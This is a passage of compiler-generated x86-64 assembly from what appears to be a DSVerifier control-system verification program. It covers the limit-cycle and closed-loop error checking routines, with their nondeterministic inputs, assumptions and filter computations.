or QWORD PTR [rax], 0
.L1243:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1872[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -1840[rbp]
mov rax, QWORD PTR -1872[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
lea rax, plant[rip+808]
mov QWORD PTR -1880[rbp], rax
mov eax, DWORD PTR plant[rip+1608]
mov DWORD PTR -1900[rbp], eax
lea rax, plant[rip]
mov QWORD PTR -1792[rbp], rax
mov eax, DWORD PTR plant[rip+800]
mov DWORD PTR -1896[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
mov eax, DWORD PTR plant[rip+1608]
add eax, edx
sub eax, 1
mov DWORD PTR -1892[rbp], eax
mov edx, DWORD PTR controller[rip+800]
mov eax, DWORD PTR plant[rip+800]
add eax, edx
sub eax, 1
mov DWORD PTR -1888[rbp], eax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1784[rbp], rax
movsx rax, edx
mov QWORD PTR -2000[rbp], rax
mov QWORD PTR -1992[rbp], 0
movsx rax, edx
mov QWORD PTR -2016[rbp], rax
mov QWORD PTR -2008[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1244:
cmp rsp, rcx
je .L1245
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1244
.L1245:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1246
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1246:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1776[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1768[rbp], rax
movsx rax, edx
mov QWORD PTR -2032[rbp], rax
mov QWORD PTR -2024[rbp], 0
movsx rax, edx
mov QWORD PTR -2048[rbp], rax
mov QWORD PTR -2040[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1247:
cmp rsp, rcx
je .L1248
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1247
.L1248:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1249
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1249:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1760[rbp], rax
mov edx, DWORD PTR -1892[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1752[rbp], rax
movsx rax, edx
mov QWORD PTR -2064[rbp], rax
mov QWORD PTR -2056[rbp], 0
movsx rax, edx
mov QWORD PTR -2080[rbp], rax
mov QWORD PTR -2072[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1250:
cmp rsp, rcx
je .L1251
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1250
.L1251:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1252
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1252:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1744[rbp], rax
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov QWORD PTR -1736[rbp], rax
movsd xmm1, QWORD PTR impl[rip+16]
movsd xmm0, QWORD PTR -1736[rbp]
comisd xmm0, xmm1
jb .L1253
movsd xmm0, QWORD PTR impl[rip+8]
comisd xmm0, QWORD PTR -1736[rbp]
jb .L1253
mov eax, 1
jmp .L1256
.L1253:
mov eax, 0
.L1256:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -1904[rbp], 0
jmp .L1257
.L1258:
mov rdx, QWORD PTR -1760[rbp]
mov eax, DWORD PTR -1904[rbp]
cdqe
movsd xmm0, QWORD PTR -1736[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -1776[rbp]
mov eax, DWORD PTR -1904[rbp]
cdqe
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -1904[rbp], 1
.L1257:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -1904[rbp], eax
jl .L1258
mov DWORD PTR -1904[rbp], 0
jmp .L1259
.L1260:
mov rdx, QWORD PTR -1744[rbp]
mov eax, DWORD PTR -1904[rbp]
cdqe
movsd xmm0, QWORD PTR -1736[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -1904[rbp], 1
.L1259:
mov eax, DWORD PTR -1904[rbp]
cmp eax, DWORD PTR -1892[rbp]
jl .L1260
mov edx, DWORD PTR -1888[rbp]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -1728[rbp], rax
movsx rax, edx
mov QWORD PTR -2096[rbp], rax
mov QWORD PTR -2088[rbp], 0
movsx rax, edx
mov QWORD PTR -2112[rbp], rax
mov QWORD PTR -2104[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1261:
cmp rsp, rcx
je .L1262
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1261
.L1262:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1263
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1263:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1720[rbp], rax
mov edx, DWORD PTR -1888[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1712[rbp], rax
movsx rax, edx
mov QWORD PTR -2128[rbp], rax
mov QWORD PTR -2120[rbp], 0
movsx rax, edx
mov QWORD PTR -2160[rbp], rax
mov QWORD PTR -2152[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1264:
cmp rsp, rdx
je .L1265
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1264
.L1265:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1266
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1266:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1704[rbp], rax
mov eax, DWORD PTR -1888[rbp]
cmp DWORD PTR -1892[rbp], eax
cmovge eax, DWORD PTR -1892[rbp]
mov DWORD PTR -1884[rbp], eax
mov eax, DWORD PTR -1884[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -1696[rbp], rdx
movsx rdx, eax
mov QWORD PTR -2176[rbp], rdx
mov QWORD PTR -2168[rbp], 0
movsx rdx, eax
mov QWORD PTR -2192[rbp], rdx
mov QWORD PTR -2184[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1267:
cmp rsp, rdx
je .L1268
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1267
.L1268:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1269
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1269:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1688[rbp], rax
mov eax, DWORD PTR -1884[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -1680[rbp], rdx
movsx rdx, eax
mov QWORD PTR -2208[rbp], rdx
mov QWORD PTR -2200[rbp], 0
movsx rdx, eax
mov QWORD PTR -2224[rbp], rdx
mov QWORD PTR -2216[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1270:
cmp rsp, rdx
je .L1271
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1270
.L1271:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1272
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1272:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1672[rbp], rax
mov DWORD PTR -1904[rbp], 0
jmp .L1273
.L1278:
mov eax, 0
call nondet_int@PLT
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR -1720[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
mov rax, QWORD PTR -1720[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
movsd xmm1, QWORD PTR impl[rip+16]
comisd xmm0, xmm1
jb .L1274
mov rax, QWORD PTR -1720[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
movsd xmm1, QWORD PTR [rax+rdx*8]
movsd xmm0, QWORD PTR impl[rip+8]
comisd xmm0, xmm1
jb .L1274
mov eax, 1
jmp .L1277
.L1274:
mov eax, 0
.L1277:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov rax, QWORD PTR -1720[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
movsd xmm0, QWORD PTR [rax+rdx*8]
mov rax, QWORD PTR -1704[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -1904[rbp], 1
.L1273:
mov eax, DWORD PTR -1904[rbp]
cmp eax, DWORD PTR -1888[rbp]
jl .L1278
mov DWORD PTR -1904[rbp], 0
jmp .L1279
.L1280:
mov rax, QWORD PTR -1760[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -1892[rbp]
mov rdx, QWORD PTR -1744[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
mov r8d, DWORD PTR -1892[rbp]
mov edi, DWORD PTR -1888[rbp]
lea rcx, -1664[rbp]
lea rdx, -864[rbp]
mov rsi, QWORD PTR -1744[rbp]
mov rax, QWORD PTR -1720[rbp]
mov r9d, r8d
mov r8d, edi
mov rdi, rax
call double_direct_form_1
movq rax, xmm0
mov rdx, QWORD PTR -1776[rbp]
mov ecx, DWORD PTR -1904[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov rax, QWORD PTR -1776[rbp]
mov edx, DWORD PTR -1904[rbp]
movsx rdx, edx
mov rax, QWORD PTR [rax+rdx*8]
mov ecx, DWORD PTR -1888[rbp]
mov rdx, QWORD PTR -1720[rbp]
mov esi, ecx
mov rdi, rdx
movq xmm0, rax
call shiftLDouble
add DWORD PTR -1904[rbp], 1
.L1279:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -1904[rbp], eax
jl .L1280
mov edx, DWORD PTR X_SIZE_VALUE[rip]
mov rax, QWORD PTR -1776[rbp]
mov esi, edx
mov rdi, rax
call double_check_persistent_limit_cycle
mov eax, 0
mov rsp, rbx
mov rsp, QWORD PTR -2136[rbp]
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1282
call __stack_chk_fail@PLT
.L1282:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE140:
.size verify_limit_cycle_closed_loop, .-verify_limit_cycle_closed_loop
.globl verify_error_closedloop
.type verify_error_closedloop, @function
verify_error_closedloop:
.LFB141:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 72
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -4120[rbp], rax
mov DWORD PTR overflow_mode[rip], 3
lea rax, controller[rip+808]
mov QWORD PTR -3456[rbp], rax
mov eax, DWORD PTR controller[rip+1608]
mov DWORD PTR -3628[rbp], eax
lea rax, controller[rip]
mov QWORD PTR -3464[rbp], rax
mov eax, DWORD PTR controller[rip+800]
mov DWORD PTR -3632[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3472[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1288:
cmp rsp, rcx
je .L1289
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1288
.L1289:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1290
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1290:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3480[rbp], rax
mov edx, DWORD PTR controller[rip+1608]
mov rcx, QWORD PTR -3480[rbp]
mov rax, QWORD PTR -3456[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_double_to_fxp_array
mov edx, DWORD PTR controller[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3488[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1291:
cmp rsp, rcx
je .L1292
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1291
.L1292:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1293
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1293:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3496[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -3496[rbp]
mov rax, QWORD PTR -3464[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_double_to_fxp_array
mov edx, DWORD PTR controller[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3504[rbp], rax
movsx rax, edx
mov QWORD PTR -3664[rbp], rax
mov QWORD PTR -3656[rbp], 0
movsx rax, edx
mov QWORD PTR -3680[rbp], rax
mov QWORD PTR -3672[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1294:
cmp rsp, rcx
je .L1295
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1294
.L1295:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1296
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1296:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3512[rbp], rax
mov edx, DWORD PTR controller[rip+1608]
mov rcx, QWORD PTR -3480[rbp]
mov rax, QWORD PTR -3512[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov edx, DWORD PTR controller[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3520[rbp], rax
movsx rax, edx
mov QWORD PTR -3696[rbp], rax
mov QWORD PTR -3688[rbp], 0
movsx rax, edx
mov QWORD PTR -3712[rbp], rax
mov QWORD PTR -3704[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1297:
cmp rsp, rcx
je .L1298
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1297
.L1298:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1299
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1299:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3528[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -3496[rbp]
mov rax, QWORD PTR -3528[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
lea rax, plant[rip+808]
mov QWORD PTR -3536[rbp], rax
mov eax, DWORD PTR plant[rip+1608]
mov DWORD PTR -3636[rbp], eax
lea rax, plant[rip]
mov QWORD PTR -3544[rbp], rax
mov eax, DWORD PTR plant[rip+800]
mov DWORD PTR -3640[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
mov eax, DWORD PTR plant[rip+1608]
add eax, edx
sub eax, 1
mov DWORD PTR -3644[rbp], eax
mov edx, DWORD PTR controller[rip+800]
mov eax, DWORD PTR plant[rip+800]
add eax, edx
sub eax, 1
mov DWORD PTR -3648[rbp], eax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3552[rbp], rax
movsx rax, edx
mov QWORD PTR -3728[rbp], rax
mov QWORD PTR -3720[rbp], 0
movsx rax, edx
mov QWORD PTR -3744[rbp], rax
mov QWORD PTR -3736[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1300:
cmp rsp, rcx
je .L1301
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1300
.L1301:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1302
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1302:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3560[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3568[rbp], rax
movsx rax, edx
mov QWORD PTR -3760[rbp], rax
mov QWORD PTR -3752[rbp], 0
movsx rax, edx
mov QWORD PTR -3776[rbp], rax
mov QWORD PTR -3768[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1303:
cmp rsp, rcx
je .L1304
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1303
.L1304:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1305
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1305:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3576[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3584[rbp], rax
movsx rax, edx
mov QWORD PTR -3792[rbp], rax
mov QWORD PTR -3784[rbp], 0
movsx rax, edx
mov QWORD PTR -3808[rbp], rax
mov QWORD PTR -3800[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1306:
cmp rsp, rcx
je .L1307
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1306
.L1307:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1308
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1308:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3592[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3600[rbp], rax
movsx rax, edx
mov QWORD PTR -3824[rbp], rax
mov QWORD PTR -3816[rbp], 0
movsx rax, edx
mov QWORD PTR -3840[rbp], rax
mov QWORD PTR -3832[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1309:
cmp rsp, rcx
je .L1310
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1309
.L1310:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1311
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1311:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3608[rbp], rax
mov edx, DWORD PTR -3644[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3616[rbp], rax
movsx rax, edx
mov QWORD PTR -3856[rbp], rax
mov QWORD PTR -3848[rbp], 0
movsx rax, edx
mov QWORD PTR -3872[rbp], rax
mov QWORD PTR -3864[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1312:
cmp rsp, rcx
je .L1313
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1312
.L1313:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1314
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1314:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3448[rbp], rax
mov edx, DWORD PTR -3644[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3440[rbp], rax
movsx rax, edx
mov QWORD PTR -3888[rbp], rax
mov QWORD PTR -3880[rbp], 0
movsx rax, edx
mov QWORD PTR -3904[rbp], rax
mov QWORD PTR -3896[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1315:
cmp rsp, rcx
je .L1316
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1315
.L1316:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1317
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1317:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3432[rbp], rax
mov edx, DWORD PTR -3644[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3424[rbp], rax
movsx rax, edx
mov QWORD PTR -3920[rbp], rax
mov QWORD PTR -3912[rbp], 0
movsx rax, edx
mov QWORD PTR -3936[rbp], rax
mov QWORD PTR -3928[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1318:
cmp rsp, rcx
je .L1319
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1318
.L1319:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1320
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1320:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3416[rbp], rax
mov eax, 0
call nondet_double@PLT
movq rax, xmm0
mov QWORD PTR -3408[rbp], rax
movsd xmm1, QWORD PTR impl[rip+16]
movsd xmm0, QWORD PTR -3408[rbp]
comisd xmm0, xmm1
jb .L1321
movsd xmm0, QWORD PTR impl[rip+8]
comisd xmm0, QWORD PTR -3408[rbp]
jb .L1321
mov eax, 1
jmp .L1324
.L1321:
mov eax, 0
.L1324:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
mov DWORD PTR -3624[rbp], 0
jmp .L1325
.L1326:
mov rdx, QWORD PTR -3592[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
movsd xmm0, QWORD PTR -3408[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -3608[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
movsd xmm0, QWORD PTR -3408[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -3560[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -3576[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -3624[rbp], 1
.L1325:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -3624[rbp], eax
jl .L1326
mov DWORD PTR -3624[rbp], 0
jmp .L1327
.L1328:
mov rdx, QWORD PTR -3448[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
movsd xmm0, QWORD PTR -3408[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -3432[rbp]
mov eax, DWORD PTR -3624[rbp]
cdqe
movsd xmm0, QWORD PTR -3408[rbp]
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -3624[rbp], 1
.L1327:
mov eax, DWORD PTR -3624[rbp]
cmp eax, DWORD PTR -3644[rbp]
jl .L1328
mov edx, DWORD PTR -3648[rbp]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -3400[rbp], rax
movsx rax, edx
mov QWORD PTR -3952[rbp], rax
mov QWORD PTR -3944[rbp], 0
movsx rax, edx
mov QWORD PTR -3968[rbp], rax
mov QWORD PTR -3960[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1329:
cmp rsp, rcx
je .L1330
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1329
.L1330:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1331
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1331:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -3392[rbp], rax
mov edx, DWORD PTR -3648[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -3384[rbp], rax
movsx rax, edx
mov QWORD PTR -3984[rbp], rax
mov QWORD PTR -3976[rbp], 0
movsx rax, edx
mov QWORD PTR -4000[rbp], rax
mov QWORD PTR -3992[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
